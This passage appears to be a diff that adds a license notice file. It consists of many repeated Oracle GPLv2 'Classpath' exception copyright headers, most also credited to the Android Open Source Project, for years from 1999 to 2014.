+Copyright (c) 1999, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1999, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2000, 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2000, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2000, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2000, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2000, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2000, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2001, 2002, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2001, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2001, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2001, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2001, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2002, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2002, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2002, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2003, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2003, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2003, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2003, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2005, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2005, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2005, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
